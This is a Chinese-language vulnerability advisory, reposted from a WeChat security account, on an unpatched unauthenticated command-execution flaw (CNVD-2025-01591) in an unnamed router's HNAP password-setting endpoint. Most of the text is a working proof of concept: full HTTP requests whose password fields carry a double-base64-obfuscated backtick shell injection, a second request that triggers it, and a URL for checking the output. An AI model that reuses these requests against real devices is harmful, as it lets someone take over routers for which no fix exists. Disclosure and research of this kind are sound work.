| 漏洞细节 | 漏洞PoC | 漏洞EXP | 在野利用 |
| 有 | 有 | 无 | 未知 |
| 漏洞名称 | 0Day 某路由器未授权命令执行漏洞 |
| CVE编号 | CNVD-2025-01591 |
| 漏洞类型 |
|
| 漏洞等级 | 7.1 高危 (High） |
| 公开状态 | 未公开 |
| 时间线 |
收录时间2025-01-16 更新时间2025-01-22 |
1. 验证环境
路由器模拟器：192.168.0.1
2. 验证过程
拦截数据包
new_password、confirm_password参数修改为QUFBQUFBQUFNVEl6TkRVMk56Z25DbTl3ZEdsdmJpQjNhWHBoY21RZ0p6SmdiSE0rZEdWemRDNTBlSFJnSndwdmNIUnBiMjRnYVc1bWIzSWdKekE9
POST /HNAP1/ HTTP/1.1Host: 192.168.249.191Content-Length: 337SOAPACTION: "http://purenetworks.com/HNAP1/SetPasswdSettings"Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=584a37c5c6724ee3a68d020ae8260495; uid=toLlRvK3; PrivateKey=E1F124840D40179A49FAAE12763348DE; timeout=5Connection: close{"SetPasswdSettings":{"current_password":"RUZyWkhGQlRNVEl6TkRVMk56Zz0=","new_password":"QUFBQUFBQUFNVEl6TkRVMk56Z25DbTl3ZEdsdmJpQjNhWHBoY21RZ0p6SmdiSE0rZEdWemRDNTBlSFJnSndwdmNIUnBiMjRnYVc1bWIzSWdKekE9","confirm_password":"QUFBQUFBQUFNVEl6TkRVMk56Z25DbTl3ZEdsdmJpQjNhWHBoY21RZ0p6SmdiSE0rZEdWemRDNTBlSFJnSndwdmNIUnBiMjRnYVc1bWIzSWdKekE9"}}
POST /HNAP1/ HTTP/1.1Host: 192.168.0.1Content-Length: 20SOAPACTION: "http://purenetworks.com/HNAP1/SetPasswdSettings"Accept: application/jsonContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=584a37c5c6724ee3a68d020ae8260495; uid=toLlRvK3; PrivateKey=E1F124840D40179A49FAAE12763348DE; timeout=5Connection: close{"GetJumpConfig":{}}
访问http://192.168.0.1/HNAP1/test.txt
厂商暂未发布修复措施解决此安全问题，建议使用此设备的用户随时关注厂商主页或参考网址以获取解决办法：
原文始发于微信公众号（安帝Andisec）：0Day CNVD-2025-01591 某路由器未授权命令执行漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论